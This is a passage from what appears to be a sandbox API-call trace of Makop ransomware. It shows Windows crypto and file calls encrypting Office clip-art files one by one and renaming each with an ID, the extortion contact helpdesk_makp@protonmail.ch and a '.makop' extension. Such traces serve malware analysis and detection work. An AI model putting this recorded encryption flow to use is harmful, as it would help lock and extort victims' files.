ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0133.767] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF") returned 63 [0133.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.768] GetProcessHeap () returned 0x48a0000 [0133.768] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.768] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.769] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.769] GetProcessHeap () returned 0x48a0000 [0133.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.769] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.769] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.774] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcd10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcd10, lpOverlapped=0x0) returned 1 [0133.776] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcd10, dwBufLen=0xcd10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcd10) returned 1 [0133.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.777] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcd10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcd10, lpOverlapped=0x0) returned 1 [0133.777] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.777] SetEndOfFile (hFile=0xf0) returned 1 [0133.785] GetProcessHeap () returned 0x48a0000 [0133.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.785] GetProcessHeap () returned 0x48a0000 [0133.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.785] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.786] CloseHandle (hObject=0xf0) returned 1 [0133.786] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0133.786] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF") returned 63 [0133.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.787] GetProcessHeap () returned 0x48a0000 [0133.787] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.787] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.788] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.794] GetProcessHeap () returned 0x48a0000 [0133.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.794] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.795] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.795] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.796] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.796] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa80c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa80c, lpOverlapped=0x0) returned 1 [0133.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa810, dwBufLen=0xa810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa810) returned 1 [0133.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa810, lpOverlapped=0x0) returned 1 [0133.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.799] SetEndOfFile (hFile=0xf0) returned 1 [0133.806] GetProcessHeap () returned 0x48a0000 [0133.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.807] GetProcessHeap () returned 0x48a0000 [0133.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.807] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.808] CloseHandle (hObject=0xf0) returned 1 [0133.808] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0133.808] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF") returned 63 [0133.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.809] GetProcessHeap () returned 0x48a0000 [0133.809] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.809] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.809] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.850] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.850] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.850] GetProcessHeap () returned 0x48a0000 [0133.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.851] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.851] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.851] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.851] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.852] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.852] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.852] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd6bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd6bc, lpOverlapped=0x0) returned 1 [0133.854] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd6c0) returned 1 [0133.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd6c0, lpOverlapped=0x0) returned 1 [0133.855] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.855] SetEndOfFile (hFile=0xf0) returned 1 [0133.862] GetProcessHeap () returned 0x48a0000 [0133.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.862] GetProcessHeap () returned 0x48a0000 [0133.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.862] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.865] CloseHandle (hObject=0xf0) returned 1 [0133.865] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0133.865] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG") returned 63 [0133.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.867] GetProcessHeap () returned 0x48a0000 [0133.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.867] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0133.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.871] GetProcessHeap () returned 0x48a0000 [0133.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.872] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.873] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x89a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x89a4, lpOverlapped=0x0) returned 1 [0133.875] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x89b0, dwBufLen=0x89b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x89b0) returned 1 [0133.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x89b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x89b0, lpOverlapped=0x0) returned 1 [0133.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.877] SetEndOfFile (hFile=0xf0) returned 1 [0133.884] GetProcessHeap () returned 0x48a0000 [0133.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.884] GetProcessHeap () returned 0x48a0000 [0133.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.884] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 